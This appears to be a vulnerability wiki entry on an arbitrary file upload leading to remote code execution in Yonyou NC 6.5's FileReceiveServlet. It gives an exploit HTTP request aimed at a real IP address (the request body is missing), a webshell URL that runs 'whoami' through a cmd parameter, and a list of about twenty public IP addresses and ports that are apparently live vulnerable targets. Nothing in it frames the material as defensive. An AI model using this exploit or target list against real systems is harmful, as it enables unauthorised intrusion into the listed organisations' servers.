用友 NC 6.5版本 FileReceiveServlet 路由任意文件上传漏洞.md

fofamini-wiki

登录白背景

源码

Yonyou NC RCE with file upload

POST /servlet/FileReceiveServlet HTTP/1.1
Host: 113.111.49.84:9081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Content-Length: 379



http://113.111.49.84:9081/eD65F18d.jsp?cmd=whoami

URL	http://113.111.49.84:9081http://113.111.49.84:8081http://118.178.189.153http://120.209.223.24:8088http://120.234.188.158:18081http://120.31.142.3:8081http://121.11.166.98:9081http://123.235.9.29:8888http://140.237.250.110:8087http://211.143.241.218:8086http://211.143.241.218:8089http://211.95.3.134:8083http://218.2.128.45:8082http://218.2.128.45:8083http://218.2.128.45:8081http://218.75.184.138:888http://218.77.62.251:8081http://218.92.16.210:88http://218.93.246.46:8888http://219.138.5.48:9090http://219.138.5.48:7070http://27.223.107.46:8087
参考	https://mp.weixin.qq.com/s/_dpnfY7EVR3lRIfZMoytWg

Yonyou NC RCE with file upload

```
POST /servlet/FileReceiveServlet HTTP/1.1
Host: 113.111.49.84:9081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Content-Length: 379


```

http://113.111.49.84:9081/eD65F18d.jsp?cmd=whoami

| URL  | http://113.111.49.84:9081http://113.111.49.84:8081http://118.178.189.153http://120.209.223.24:8088http://120.234.188.158:18081http://120.31.142.3:8081http://121.11.166.98:9081http://123.235.9.29:8888http://140.237.250.110:8087http://211.143.241.218:8086http://211.143.241.218:8089http://211.95.3.134:8083http://218.2.128.45:8082http://218.2.128.45:8083http://218.2.128.45:8081http://218.75.184.138:888http://218.77.62.251:8081http://218.92.16.210:88http://218.93.246.46:8888http://219.138.5.48:9090http://219.138.5.48:7070http://27.223.107.46:8087 |
| ---- | ------------------------------------------------------------ |
| 参考 | https://mp.weixin.qq.com/s/_dpnfY7EVR3lRIfZMoytWg            |